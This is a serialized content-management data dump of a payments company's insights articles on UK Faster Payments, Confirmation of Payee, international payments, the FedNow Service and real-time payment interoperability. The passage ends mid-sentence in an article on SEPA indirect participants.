",[],"rich_text$1a72c2bc-5c4e-4525-adf7-a21a61716976",{"id":17407,"uid":17408,"type":3743,"data":17409},"alzzTxEAACwAUWMg","whitepaper-data-uk-faster-payments-a-model-for-us-banks",{"title":17410,"excerpt":17411,"card_image":17412,"published_date":13624,"reading_time":506,"tag":3992,"dek":5,"featured_image":17418,"about_form3":17423,"client_about_heading":5,"client_about_body":17424,"author_name":5,"author_title":5,"author_photo":17425,"author_bio":17426,"author_linkedin":17427,"slices":17428,"meta_title":17446,"meta_description":17411},"Whitepaper - UK Faster Payments: A Model for US banks to Follow in their Journey to Real-Time?","As the United States progresses towards widespread adoption of real-time payments (RTP) through the launch of FedNow, valuable insights can be gleaned from the United Kingdom's experience with implementing real-time payments.",{"dimensions":17413,"alt":17414,"copyright":5,"url":17415,"id":17416,"edit":17417},{"width":412,"height":412},"Whitepaper - UK Faster Payments: A Model for U.S. banks to Follow in their Journey to Real-Time?","\u002F_prismic-media\u002Fd0b0f2a9c259c88f-wHMAajT2z6gc1I69_whitepaper-data-uk-faster-payme.png","wHMAajT2z6gc1I69",{"x":398,"y":398,"zoom":399,"background":400},{"dimensions":17419,"alt":5,"copyright":5,"url":17420,"id":17421,"edit":17422},{"width":501,"height":501},"\u002F_prismic-media\u002Ff97b53387e28442b-89FvIBwS5bwLy7KD_57e3417a-b839-432f-8462-b1e2aac.png","89FvIBwS5bwLy7KD",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[17429],{"variation":437,"version":438,"items":17430,"primary":17431,"id":17445,"slice_type":468,"slice_label":5},[],{"body":17432},[17433,17436,17439,17442],{"type":988,"text":17434,"spans":17435,"direction":445},"What US banks can anticipate as they transition to real-time payments",[],{"type":25,"text":17437,"spans":17438,"direction":445},"As the United States progresses towards widespread adoption of real-time payments (RTP) through the launch of FedNow, valuable insights can be gleaned from the United Kingdom's experience with implementing real-time payments. ",[],{"type":25,"text":17440,"spans":17441,"direction":445},"This whitepaper highlights comparisons and contrasts between the two regions and sheds light on what U.S. banks can anticipate as they transition to real-time payments. ",[],{"type":25,"text":17443,"spans":17444,"direction":445},"Download now to unlock invaluable insights.",[],"rich_text$ea67103d-0bed-465b-914b-48e8a0f1cbe5","UK Faster Payments: A Model for U.S. banks to Follow in their Journey to Real-Time?",{"id":17448,"uid":17449,"type":3743,"data":17450},"alzzoBEAACgAUWPo","confirmation-of-payee-scheme-extension-what-financial",{"title":17451,"excerpt":17452,"card_image":17453,"published_date":17459,"reading_time":418,"tag":419,"dek":17460,"featured_image":17461,"about_form3":17462,"client_about_heading":5,"client_about_body":17463,"author_name":5,"author_title":5,"author_photo":17464,"author_bio":17465,"author_linkedin":17466,"slices":17467,"meta_title":17451,"meta_description":17452},"Confirmation of Payee scheme extension: what financial institutions need to know","Back in May, the UK’s Payments Systems Regulator announced that it would be undertaking a consultation to expand the Confirmation of Payee (CoP) scheme. This consultation focused on directing approximately 400 payment payment service providers (PSPs) to implement CoP.",{"dimensions":17454,"alt":17455,"copyright":5,"url":17456,"id":17457,"edit":17458},{"width":412,"height":412},"COP","\u002F_prismic-media\u002Fb924dceb9178bbd3-K229CtZc0hTEpKdk_confirmation-of-payee-scheme-ex.png","K229CtZc0hTEpKdk",{"x":398,"y":398,"zoom":399,"background":400},"2023-01-05","Back in May, the UK’s Payments Systems Regulator announced that it would be undertaking a consultation to expand the Confirmation of Payee (CoP) scheme. This consultation focused on directing approximately 400 payment payment service providers (PSPs) to implement CoP. In this article we’ll set out why it is a good idea for PSPs to sign up for the scheme, while providing context for the reasons for the extension and answering some key questions about CoP.",{},[],[],{},[],{"link_type":434},[17468,17491,17513,17530],{"variation":437,"version":438,"items":17469,"primary":17470,"id":17490,"slice_type":468,"slice_label":5},[],{"body":17471},[17472,17475,17478,17481,17484,17487],{"type":988,"text":17473,"spans":17474,"direction":445},"Why should financial institutions apply for the scheme?",[],{"type":25,"text":17476,"spans":17477,"direction":445},"In order to protect their customers and their own reputation, financial institutions should be getting on board with the extension of CoP. Benefits of joining CoP for PSPs include: ",[],{"type":1151,"text":17479,"spans":17480,"direction":445},"Avoids the risk of being cut off from receiving payments and hence account      holders not being able to receive funds",[],{"type":1151,"text":17482,"spans":17483,"direction":445},"Avoids potential loss of new business as customers look for this when signing up",[],{"type":1151,"text":17485,"spans":17486,"direction":445},"Reduced operating costs of dealing with fraud cases and misdirected funds",[],{"type":1151,"text":17488,"spans":17489,"direction":445},"Provides customers with greater confidence in moving funds",[],"rich_text$1a02f3ef-c037-423a-8f42-47d09cc71d27",{"variation":437,"version":438,"items":17492,"primary":17493,"id":17512,"slice_type":468,"slice_label":5},[],{"body":17494},[17495,17498,17509],{"type":988,"text":17496,"spans":17497,"direction":445},"What challenges will new entrants face and how can these be overcome?",[],{"type":25,"text":17499,"spans":17500,"direction":445},"There are a number of friction points and challenges that PSPs who want to be part of the extension of CoP will need to overcome. For a start, there’s the need to meet various terms and conditions set out by Pay UK and Open Banking. ",[17501,17505],{"start":9292,"end":17502,"type":489,"data":17503},214,{"link_type":491,"url":17504,"target":493},"https:\u002F\u002Fwww.wearepay.uk\u002F",{"start":17506,"end":13003,"type":489,"data":17507},219,{"link_type":491,"url":17508,"target":493},"https:\u002F\u002Fwww.openbanking.org.uk\u002F",{"type":25,"text":17510,"spans":17511,"direction":445},"On top of this, they’ll need to either build their own system for handling CoP into their existing infrastructure — which will require considerable expenditure and expertise — or find a third-technology party provider who can help them. Additionally, they’ll need to test their system ahead of launch, as well as managing it on an ongoing basis.  ",[],"rich_text$8dece365-6c3f-4e13-a8c4-c8c42ec49edf",{"variation":437,"version":438,"items":17514,"primary":17515,"id":17529,"slice_type":468,"slice_label":5},[],{"body":17516},[17517,17520,17523,17526],{"type":988,"text":17518,"spans":17519,"direction":445},"Will CoP mean financial institutions bear more responsibility for protecting customers?",[],{"type":25,"text":17521,"spans":17522,"direction":445},"PSPs have a duty of care towards their customers and CoP means that they can increase the protections they offer to payers. They also have a responsibility to educate their customers about the kind of scams that are being actively used by fraudsters right now, and also about the importance of using CoP. ",[],{"type":25,"text":17524,"spans":17525,"direction":445},"In terms of fraud prevention, there is still a great deal of uncertainty about just how effective CoP is in combating APP (Authorised Push Payment) scams. According to a poll of industry insiders conducted by UK Finance, 43% felt that the value of using CoP to help tackle APP fraud had been neutral at best if not useless. ",[],{"type":25,"text":17527,"spans":17528,"direction":445},"Linked to fraud prevention is reputational damage to financial institutions. We've heard of cases where some financial institutions are not allowing transfer of funds to institutions that are sitting outside of CoP at the moment. And if your customers can't receive funds from other banks, then they are not going to be very happy. ",[],"rich_text$902b17d0-318b-4f9b-9d1e-307c09af6595",{"variation":437,"version":438,"items":17531,"primary":17532,"id":17543,"slice_type":468,"slice_label":5},[],{"body":17533},[17534,17537,17540],{"type":988,"text":17535,"spans":17536,"direction":445},"Will the extension of CoP be a success?",[],{"type":25,"text":17538,"spans":17539,"direction":445},"Bearing in mind that 92% of volume is already going through CoP, the extension of the scheme is about closing out the remaining 8%. It remains to be seen whether it'll be extended to the full 400 financial institutions, but the first phase of the extension will only involve 46 more banks. ",[],{"type":25,"text":17541,"spans":17542,"direction":445},"It's the second phase, due to take place in 2024 where most of the question marks lie, concerning whether some of the smallest institutions will get on board. Overall, though, the fight against fraud will need to involve more than just the extension of CoP, but it will help support this, helping to enhance financial institutions’ reputations. ",[],"rich_text$a1a1d61f-fdd6-4fef-a7f5-61f9c8607e78",{"id":17545,"uid":17546,"type":3743,"data":17547},"alzzpxEAACoAUWP6","growing-your-international-payments-business",{"title":17548,"excerpt":17549,"card_image":17550,"published_date":17556,"reading_time":643,"tag":3751,"dek":5,"featured_image":17557,"about_form3":17558,"client_about_heading":5,"client_about_body":17559,"author_name":5,"author_title":5,"author_photo":17560,"author_bio":17561,"author_linkedin":17562,"slices":17563,"meta_title":17686,"meta_description":17687},"Key considerations when building your international payments business","For banks looking to build an international payments solution, there are many elements to consider. It’s essential to understand how the key components of the payments landscape fit together, including the roles played by different payment schemes and networks. Banks also need a clear view of the different options available when building or managing an FX solution.",{"dimensions":17551,"alt":17552,"copyright":5,"url":17553,"id":17554,"edit":17555},{"width":412,"height":412}," international payments business","\u002F_prismic-media\u002F4fc93cabb4a2cfe0-nwR70d2UDRWvNrDV_growing-your-international-paym.png","nwR70d2UDRWvNrDV",{"x":398,"y":398,"zoom":399,"background":400},"2022-12-06",{},[],[],{},[],{"link_type":434},[17564,17578,17595,17605,17628,17638,17655,17672],{"variation":437,"version":438,"items":17565,"primary":17566,"id":17577,"slice_type":468,"slice_label":5},[],{"body":17567},[17568,17571,17574],{"type":988,"text":17569,"spans":17570,"direction":445},"Where to begin",[],{"type":25,"text":17572,"spans":17573,"direction":445},"For banks looking to build an international payments solution, there are many elements to consider. It’s essential to understand how the key components of the payments landscape fit together, including the roles played by different payment schemes and networks. Banks also need a clear view of the different options available when building or managing an FX solution. ",[],{"type":25,"text":17575,"spans":17576,"direction":445},"Adding to the challenge, today’s environment is one of significant change: from real-time payments and application programming interfaces (APIs) to central bank digital currencies (CBDCs), a host of new technologies and developments are leading to ever greater choice for customers. Customers’ expectations are also continuing to evolve – meaning that banks need to understand how the market is changing, and what opportunities these new developments may bring.",[],"rich_text$f15fa3c0-ab34-4147-948d-199604351867",{"variation":437,"version":438,"items":17579,"primary":17580,"id":17594,"slice_type":468,"slice_label":5},[],{"body":17581},[17582,17585,17588,17591],{"type":988,"text":17583,"spans":17584,"direction":445},"Addressing cross border pain points",[],{"type":25,"text":17586,"spans":17587,"direction":445},"International payments are supported by a number of different schemes, networks and systems, including the SWIFT network as well as real-time gross settlement (RTGS) systems and automated clearing house (ACH) networks.",[],{"type":25,"text":17589,"spans":17590,"direction":445},"Historically, cross-border payments have been associated with some significant pain points. With numerous intermediaries involved in the payment chain, payments spanning different jurisdictions are often slow and can take several days to settle, with little transparency over the status of individual payments. At the same time, cross-border payments have long been more expensive than domestic payments – and the cost of payments is often opaque.",[],{"type":25,"text":17592,"spans":17593,"direction":445},"Despite these challenges, change is underway. The arrival of SWIFT gpi has enabled banks to track and trace cross-border payments, and to offer this capability to their clients. Meanwhile, the rise of real-time payments could also play a role in addressing slow or unpredictable delivery times in the international arena – although it’s clear that there will be obstacles to overcome along the way.",[],"rich_text$5578de85-8a33-4de8-8293-9166f07fbd73",{"variation":437,"version":438,"items":17596,"primary":17597,"id":17604,"slice_type":583,"slice_label":5},[],{"quote":17598,"attribution_name":17602,"attribution_role":17603},[17599],{"type":25,"text":17600,"spans":17601},"“The technology needed to underpin a 24\u002F7 operating model is very different to that needed for a 9 to 5 model. It’s also important to be able to handle scenarios like a sudden surge of payments, which will always happen towards the end of the month or at times like Black Friday. Being able to handle those scenarios gracefully is something that we’ll need to gear up for with real-time cross-border payments.”",[],"Stephanie Mitchell","Head of International Product","pull_quote$8ceb225f-d424-4cc8-b0a2-aa0a805f2155",{"variation":437,"version":438,"items":17606,"primary":17607,"id":17627,"slice_type":468,"slice_label":5},[],{"body":17608},[17609,17612,17615,17618,17621,17624],{"type":988,"text":17610,"spans":17611,"direction":445},"Enablers of change",[],{"type":25,"text":17613,"spans":17614,"direction":445},"Also key to addressing the current challenges in cross-border payments is finding ways to use existing capabilities and rails in new ways. Capabilities such as SWIFT Go and SWIFT’s pre-validation service, for example, can play an important role in reducing the volume of errors in payment messages.",[],{"type":25,"text":17616,"spans":17617,"direction":445},"Recent proofs of concept by SWIFT have focused on tokenisation of assets and the movement of CBDCs between networks, thereby offering new ways to connect digital islands. “Our clients are not having their activity restricted to one particular sort of blockchain or digital island – they are looking to grow their business, and they want their banks and the financial industry to solve for that,” says Bhavna Saraf, Head of Group Payments, Partnerships and Strategy, Lloyds Banking Group. “So interoperability is really key.”",[],{"type":25,"text":17619,"spans":17620,"direction":445},"The regulatory landscape is also playing an important role in driving innovation and change in the payments space. Significant developments include recent mandates from the G20 to prioritise removing friction and increasing speed in cross-border payments, and to introduce quantitative targets around these goals. The G20 framework also contributes to the UN Sustainable Development Goals (SDGs) – specifically SDG 10.c, which commits to reducing the cost of cross border remittances for migrants sending money back home to less than 3% by 2030.",[],{"type":25,"text":17622,"spans":17623,"direction":445},"Alongside the technology elements of cross-border payments, it’s important to pay attention to commercial considerations. “When I use the word ‘commercialisation’, it’s not about trying to make money out of customers – it’s about monetising some of the investments that banks are making to deliver a better outcome for our customers,” explains Saraf. ",[],{"type":25,"text":17625,"spans":17626,"direction":445},"When moving high-value transactions around the world, resilience and security are also more critical than ever. “Cybersecurity is really important,” says Stephanie Mitchell, Head of Product at Form3. “Having that strength and resilience in technology is critical when it comes to enabling a path for banks to move into the cloud, scale effectively and upgrade the technologies they’re using – which is ultimately going to bake it much easier to scale for that demand and build services that are valuable for customers.”",[],"rich_text$4bafd80d-23c1-4feb-a79a-ae226ce9eab0",{"variation":437,"version":438,"items":17629,"primary":17630,"id":17637,"slice_type":583,"slice_label":5},[],{"quote":17631,"attribution_name":17635,"attribution_role":17636},[17632],{"type":25,"text":17633,"spans":17634},"“Fintech payment service providers (PSPs) set a high bar for user experience and transparency over rates and fees. But I think we’re starting to see an expectation on the corporate side that similar experiences are achieved by all. This makes it very challenging for the banks, because fintech PSPs do a great job of moving very quickly.”",[],"Ross Jones","Global Head of Payments Product Management at Barclays","pull_quote$ae5a5613-facb-4725-b67f-6abe40fe93b4",{"variation":437,"version":438,"items":17639,"primary":17640,"id":17654,"slice_type":468,"slice_label":5},[],{"body":17641},[17642,17645,17648,17651],{"type":988,"text":17643,"spans":17644,"direction":445},"Building and managing FX solutions",[],{"type":25,"text":17646,"spans":17647,"direction":445},"Jones explains that the first port of call should be to have a clear understanding of the target market, and the currencies that the bank will need to pay into the market. “Are you going to be focused on G20 for example, or on being strong in Asia? Or are you looking at building a proposition that includes 125 different countries and currencies?”",[],{"type":25,"text":17649,"spans":17650,"direction":445},"The second consideration is reach. There are multiple ways to settle payments: SWIFT, with its network of over 6,000 banks, is the backbone of correspondent banking, and provides a way for banks to move money between different countries. But it’s not the only option: card networks are coming up with some creative solutions around settlement, while developments such as CBDCs and international real-time payments could also offer some different approaches to settlement. ",[],{"type":25,"text":17652,"spans":17653,"direction":445},"Liquidity and pricing also need to be looked at closely – for example, by considering how a major global or regional bank is set up to provide the required liquidity. “For example, if you’re going into South America, you might be fine going with a strong South American bank to provide liquidity in those currencies,” says Jones. “But if you wanted to hit many currencies, you’re probably better off going with a global provider that will have liquidity in all of those currencies, and will be able to give you more competitive pricing based on their entire book of business.”",[],"rich_text$78b220ba-163f-4537-9354-cf144f575e01",{"variation":437,"version":438,"items":17656,"primary":17657,"id":17671,"slice_type":468,"slice_label":5},[],{"body":17658},[17659,17662,17665,17668],{"type":988,"text":17660,"spans":17661,"direction":445},"Other considerations include the following:",[],{"type":3373,"text":17663,"spans":17664,"direction":445},"Growth trajectory: Where pricing is concerned, spreads are becoming ever thinner, which makes it important to have a solid understanding of the fundamentals of the business case, and of the growth trajectory over different periods of time. ",[],{"type":3373,"text":17666,"spans":17667,"direction":445},"Urgent vs. predictable payments: The urgency of payments should factor into a bank's chosen approach, as there are significant differences between high-value payments that are urgent in nature and low-value payments that are more predictable in nature.",[],{"type":3373,"text":17669,"spans":17670,"direction":445},"Tapping into automation: APIs are now a major focus of development across the industry. Delivering real-time pricing and execution. Minimising the number of touch points is still key, so looking for a single API that can do everything is a key approach.",[],"rich_text$06c8e413-a95c-4956-a2b0-57bd8a3d0c03",{"variation":437,"version":438,"items":17673,"primary":17674,"id":17685,"slice_type":468,"slice_label":5},[],{"body":17675},[17676,17679],{"type":988,"text":17677,"spans":17678,"direction":445},"Discover more in our latest on-demand webinar",[],{"type":25,"text":17680,"spans":17681,"direction":445},"Hear from a panel of experts as they discuss the keys to successfully building out your international payments business in our latest webinar: Going Global: The fundamentals to building your international payments business.",[17682],{"start":5329,"end":9295,"type":489,"data":17683},{"link_type":491,"url":17684,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fwhy-form3\u002Finsights\u002Fgated-content-going-global-the-fundamentals-to-building-your-international-payments-business","rich_text$7ed07b12-b324-4b9a-b942-63da1ed916af","how best to build your international payments business","Discover the key approaches banks need to take when building out their international payments ambitions. How SWIFT and correspondent banking networks alongside FX can help ensure global payment success.",{"id":17689,"uid":17690,"type":3743,"data":17691},"alzzaxEAACsAUWNj","mastering-the-fednow-service-your-guide-to-instant-payments-in-the-us",{"title":17692,"excerpt":17693,"card_image":17694,"published_date":17699,"reading_time":1130,"tag":3751,"dek":17700,"featured_image":17701,"about_form3":17702,"client_about_heading":5,"client_about_body":17703,"author_name":5,"author_title":5,"author_photo":17704,"author_bio":17705,"author_linkedin":17706,"slices":17707,"meta_title":17847,"meta_description":17848},"Mastering the FedNow Service: Your Guide to Instant Payments in the US","Discover the FedNow Service, the Federal Reserve's new instant payment solution launching in July. Learn essential facts, its impact on the financial industry, and how it compares to other payment systems. Prepare your institution for seamless integration with our in-depth guide.",{"dimensions":17695,"alt":17692,"copyright":5,"url":17696,"id":17697,"edit":17698},{"width":412,"height":412},"\u002F_prismic-media\u002F3123fb3df5abd0e4-y1eT0P_4gZfmY-iU_mastering-the-fednow-service-yo.png","y1eT0P_4gZfmY-iU",{"x":398,"y":398,"zoom":399,"background":400},"2023-04-05","The launch of the FedNow Service marks a significant milestone for the adoption of instant payments in the United States. But what do banks need to know about this new service? How can they prepare themselves and ready their testing ahead of day one? This article answers some key questions surrounding the launch of the new Federal Reserve Bank's instant payments service.",{},[],[],{},[],{"link_type":434},[17708,17719,17730,17741,17755,17766,17781,17802,17813,17824],{"variation":437,"version":438,"items":17709,"primary":17710,"id":17718,"slice_type":468,"slice_label":5},[],{"body":17711},[17712,17715],{"type":988,"text":17713,"spans":17714,"direction":445},"How will the FedNow Service work?",[],{"type":25,"text":17716,"spans":17717,"direction":445},"FedNow is the Federal Reserve's new real-time gross settlement (RTGS) system that will operate alongside the Clearing House's Real-Time Payment (RTP) service. FedNow will settle payments between financial institutions in real time, 24\u002F7, and incorporate a clearing step where financial institutions need to accept the payment to reduce returns. This step helps avoid unnecessary returns across the service. It will utilize the ISO 20022 message standards to ensure compatibility and seamless integration for financial institutions.",[],"rich_text$996e9fe9-63e6-4c7d-89b2-6811eb8210bf",{"variation":437,"version":438,"items":17720,"primary":17721,"id":17729,"slice_type":468,"slice_label":5},[],{"body":17722},[17723,17726],{"type":988,"text":17724,"spans":17725,"direction":445},"When Will the FedNow Service Launch?",[],{"type":25,"text":17727,"spans":17728,"direction":445},"The FedNow Service will be deployed in phases, with the initial SPR staged production rollout taking place in July 2023. With November being when the scheme will be open to all participants. ",[],"rich_text$7ffebedc-5862-43fa-96c3-5b4b1595839a",{"variation":437,"version":438,"items":17731,"primary":17732,"id":17740,"slice_type":468,"slice_label":5},[],{"body":17733},[17734,17737],{"type":988,"text":17735,"spans":17736,"direction":445},"FedNow vs. Fedwire",[],{"type":25,"text":17738,"spans":17739,"direction":445},"While both FedNow and Fedwire are RTGS systems, meaning they move money in real time between financial institutions and require both participants to be on the network, their intentions are quite different. Fedwire focuses on wholesale payments and allows for bank-to-bank transactions where end user accounts are not required. In contrast, FedNow is focused on lower-value payments, with the limit starting at $500k for banks. The primary payment use cases for FedNow include account-to-account (A2A) transfers, person-to-person (P2P) payments, bill pay, and payroll. Additionally, FedNow differentiates from Fedwire by being available 24\u002F7 and offering lower pricing.",[],"rich_text$d62e79f2-3f1c-47c6-b4fb-c4f72b1811b3",{"variation":437,"version":438,"items":17742,"primary":17743,"id":17754,"slice_type":468,"slice_label":5},[],{"body":17744},[17745,17748],{"type":988,"text":17746,"spans":17747,"direction":445},"Costs and Pricing Comparison: Joining FedNow and Other Payment Systems",[],{"type":25,"text":17749,"spans":17750,"direction":445},"When considering the costs associated with joining the FedNow Service, it is important to note that its pricing structure falls between that of ACH and Fedwire. While FedNow is priced higher than ACH, it remains more affordable compared to Fedwire transactions. In terms of pricing comparison with the Real-Time Payment (RTP) system, FedNow and RTP are expected to have mostly similar pricing, with only minor differences between them. ",[17751],{"start":5136,"end":3397,"type":489,"data":17752},{"link_type":491,"url":17753,"target":493},"https:\u002F\u002Fwww.frbservices.org\u002Fnews\u002Fpress-releases\u002F012722-fednow-pricing-announcement#:~:text=A%20fee%20of%20%240.045%20per,or%20funds%20to%20be%20returned","rich_text$0b44ca99-6ba7-4358-976d-efe4c19f89c4",{"variation":437,"version":438,"items":17756,"primary":17757,"id":17765,"slice_type":468,"slice_label":5},[],{"body":17758},[17759,17762],{"type":988,"text":17760,"spans":17761,"direction":445},"Will FedNow Replace ACH?",[],{"type":25,"text":17763,"spans":17764,"direction":445},"It seems unlikely that FedNow will completely replace ACH, as there are still many use cases for which ACH is the better solution. However, over time, we expect to see a shift in payments from ACH to faster payment rails like FedNow, which offer benefits such as real-time settlement and increased security. As the ecosystem around faster payments matures, more banks and businesses are expected to adopt this new system.",[],"rich_text$1bbf6126-d0d0-40ad-8b28-7fc9a1547f96",{"variation":437,"version":438,"items":17767,"primary":17768,"id":17780,"slice_type":468,"slice_label":5},[],{"body":17769},[17770,17773],{"type":988,"text":17771,"spans":17772,"direction":445},"FedNow vs. RTP TCH",[],{"type":25,"text":17774,"spans":17775,"direction":445},"FedNow is the federal reserve central bank faster payment scheme offering that is under development with plans to go live in 2023.  The Clearing house RTP – is the private offering in this space and has been live since end of 2016. The Federal Reserve's FedNow service and the Clearing House's RTP service are both faster payment schemes designed to improve resilience in the economy and modernize payments in the US. Both services have many similarities, as the intent is for these two schemes to parallel each other and support resilience in the economy. However, there are some differences between the two services. Primarily, FedNow will work with the Federal Reserve accounts of their customers, while RTP is a pre-funded model with reserves held at the Federal Reserve Bank of New York in a joint account for all RTP participants.",[17776],{"start":17777,"end":17778,"type":489,"data":17779},388,416,{"link_type":491,"url":7931,"target":493},"rich_text$7702a1c2-8ca7-4727-97b6-78c1de57d973",{"variation":437,"version":438,"items":17782,"primary":17783,"id":17801,"slice_type":468,"slice_label":5},[],{"body":17784},[17785,17788,17791],{"type":988,"text":17786,"spans":17787,"direction":445},"The Need for Separate Connections: RTP and FedNow Service",[],{"type":25,"text":17789,"spans":17790,"direction":445},"Although RTP and FedNow Service share some similarities, they won't interoperate. This means that even if a bank is connected to the RTP system, it will still need to establish a separate connection and configure its solution to work with the FedNow Service. It's essential to test the differences between the two systems and make any necessary adjustments to the bank's solution to ensure compatibility with FedNow.",[],{"type":25,"text":17792,"spans":17793,"direction":445},"Understanding and addressing these differences through thorough testing is crucial for a smooth integration with the FedNow Service. By adapting their solutions and testing their functionality with the new system, banks can be better prepared to offer customers the benefits of real-time, instant payments through both RTP and FedNow Service platforms.",[17794,17796],{"start":9251,"end":1658,"type":489,"data":17795},{"link_type":491,"url":785,"target":493},{"start":17797,"end":17798,"type":489,"data":17799},314,351,{"link_type":491,"url":17800,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fwhy-form3\u002Finsights\u002Fgated-content-the-next-step-for-faster-payments-interoperability","rich_text$9cee081e-ab5e-440c-90e7-a0812a3e14a1",{"variation":437,"version":438,"items":17803,"primary":17804,"id":17812,"slice_type":468,"slice_label":5},[],{"body":17805},[17806,17809],{"type":988,"text":17807,"spans":17808,"direction":445},"How Will Liquidity be Managed with FedNow?",[],{"type":25,"text":17810,"spans":17811,"direction":445},"FedNow payments are handled out of the reserve accounts at the Federal Reserve. Since FedNow will be available 24\u002F7, liquidity is less of a concern compared to the current private sector solution, RTP, which relies on liquidity in and out of the RTP joint account via Fedwire. However, even for FedNow, financial institutions may need to borrow liquidity from another institution, or correspondents supporting respondents on the service may need to receive or disburse liquidity for their participants. To address this, FedNow is supporting a liquidity management transfer (LMT) available during select hours to facilitate the movement of liquidity between financial institutions.",[],"rich_text$e28f2388-85c6-4822-bc86-6692d56e7486",{"variation":437,"version":438,"items":17814,"primary":17815,"id":17823,"slice_type":468,"slice_label":5},[],{"body":17816},[17817,17820],{"type":988,"text":17818,"spans":17819,"direction":445},"Will FedNow Payments Face Compliance and OFAC Screening?",[],{"type":25,"text":17821,"spans":17822,"direction":445},"The Federal Reserve has not confirmed whether compliance and OFAC screening will be required. However, most institutions are currently assuming that it will be required. To accommodate this, financial institutions must be able to integrate with a real-time compliance\u002Fsanctions screening system (or utilize a service provider) so they can complete the payment leg that requires them to accept the payment.",[],"rich_text$d9d299b3-4701-41a2-a84f-94f678841860",{"variation":437,"version":438,"items":17825,"primary":17826,"id":17846,"slice_type":468,"slice_label":5},[],{"body":17827},[17828,17831,17834,17840],{"type":988,"text":17829,"spans":17830,"direction":445},"Preparing for Real-Time with Form3",[],{"type":25,"text":17832,"spans":17833,"direction":445},"In the development and implementation of the FedNow Service, it's crucial for financial institutions to take a proactive approach to interoperability and testing. By building the infrastructure, creating documentation, refining operational procedures, and implementing the necessary tools, such as user interfaces, institutions can identify and address potential issues early in the process.",[],{"type":25,"text":17835,"spans":17836,"direction":445},"Embracing an agile approach to the development and testing of real-time payment systems like FedNow is essential in today's fast-paced financial landscape. By prioritizing interoperability and testing from the outset, financial institutions can ensure a smoother, more efficient implementation process and fully harness the benefits of instant payment solutions.",[17837],{"start":15361,"end":2056,"type":489,"data":17838},{"link_type":491,"url":17839,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fwhy-form3\u002Finsights\u002Ftesting-real-time-payments",{"type":25,"text":17841,"spans":17842,"direction":445},"At Form3, we're here to ensure you are ready to participate in the real-time payment space from day one with simple implementation and testing ahead of the go-live date. Contact us today to find out more.",[17843],{"start":690,"end":3886,"type":489,"data":17844},{"link_type":491,"url":17845,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fpayment-platform\u002Fus\u002Fus-instant","rich_text$e748cde9-1797-443d-b8cf-8d75cdd7345e","Mastering the FedNow Service: Your Guide to Instant Payments in the US | Form3 Insights","Discover the FedNow Service, the Federal Reserve's new instant payment solution launching in July. Learn essential facts, its impact on the financial industry, and how it compares to other payment systems. Prepare your institution for seamless integration with our in-depth guide. Learn more at Form3 Insights.",{"id":17850,"uid":17851,"type":3743,"data":17852},"alzzihEAACsAUWOx","whitepaper-faster-payments-does-interoperability-matter",{"title":17853,"excerpt":17854,"card_image":17855,"published_date":3521,"reading_time":506,"tag":3992,"dek":5,"featured_image":17861,"about_form3":17866,"client_about_heading":5,"client_about_body":17867,"author_name":5,"author_title":5,"author_photo":17868,"author_bio":17869,"author_linkedin":17870,"slices":17871,"meta_title":17901,"meta_description":17854},"Whitepaper | Faster Payments: Does interoperability matter?","Since the launch of RTP in 2017, the adoption of real-time payments in the US has increased rapidly, with over 200 banks now using the system. Fast forward to today, and the upcoming launch of FedNow is set to be another major milestone in the continuing adoption of real-time payments.",{"dimensions":17856,"alt":17857,"copyright":5,"url":17858,"id":17859,"edit":17860},{"width":412,"height":412},"Whitepaper - Faster payments: Does interoperability matter?","\u002F_prismic-media\u002F3010df9068d3bb2d-nkYda5lwsG20jZDL_whitepaper-faster-payments-does.png","nkYda5lwsG20jZDL",{"x":398,"y":398,"zoom":399,"background":400},{"dimensions":17862,"alt":5,"copyright":5,"url":17863,"id":17864,"edit":17865},{"width":501,"height":501},"\u002F_prismic-media\u002F5f95034f50e19f7a-i-LU8Al09UKOvN_E_628f75d4-8996-4358-b2be-7c3562f.png","i-LU8Al09UKOvN_E",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[17872],{"variation":437,"version":438,"items":17873,"primary":17874,"id":17900,"slice_type":468,"slice_label":5},[],{"body":17875},[17876,17879,17882,17884,17888,17892,17896],{"type":746,"text":17877,"spans":17878},"Adoption of real-time payments",[],{"type":25,"text":17880,"spans":17881},"Since the launch of RTP in 2017, the adoption of real-time payments in the US has increased rapidly, with over 200 banks now using the system. Fast forward to today, and the upcoming launch of FedNow is set to be another major milestone in the continuing adoption of real-time payments. Our latest report looks at the differences between RTP and FedNow, the importance of interoperability in real-time payments, and the factors that will likely drive adoption in the US.",[],{"type":25,"text":4017,"spans":17883},[],{"type":1151,"text":17885,"spans":17886},"David Scola\nGeneral Manager - US, Form3",[17887],{"start":398,"end":602,"type":593},{"type":1151,"text":17889,"spans":17890},"Michael Knorr\nCIB Industry & Advisory Lead, Wells Fargo",[17891],{"start":398,"end":1951,"type":593},{"type":1151,"text":17893,"spans":17894},"Irfan Ahmad\nManaging Director, Head of US Payments, GTS, Bank of America",[17895],{"start":398,"end":602,"type":593},{"type":1151,"text":17897,"spans":17898},"Eralda Hasani\nDirector, Immediate Payments Product Management, BNY Mellon",[17899],{"start":398,"end":1951,"type":593},"rich_text$77b9190c-8cca-44a5-9e3d-2b2962965a51","Faster payments: Does interoperability matter?",{"id":17903,"uid":17904,"type":3743,"data":17905},"alzzfhEAACsAUWOU","how-sepa-indirect-participants-benefit-dnsp",{"title":17906,"excerpt":17907,"card_image":17908,"published_date":17913,"reading_time":418,"tag":3751,"dek":17907,"featured_image":17914,"about_form3":17920,"client_about_heading":5,"client_about_body":17921,"author_name":5,"author_title":5,"author_photo":17922,"author_bio":17923,"author_linkedin":17924,"slices":17925,"meta_title":18103,"meta_description":18104},"7 ways SEPA Indirect participants might be losing out","One area that has not received much attention is the way banks connect to their endpoints or partner banks. The same technology and technical setup have been used for the last 40 years, and it is not a common set of standards across the industry. While you can control what happens within your own bank, the reality is that banking relies heavily on other banking partners who may not have the same level of quality or design. This is particularly true when it comes to tackling one of the most fundamental areas of financial technology: account-to-account 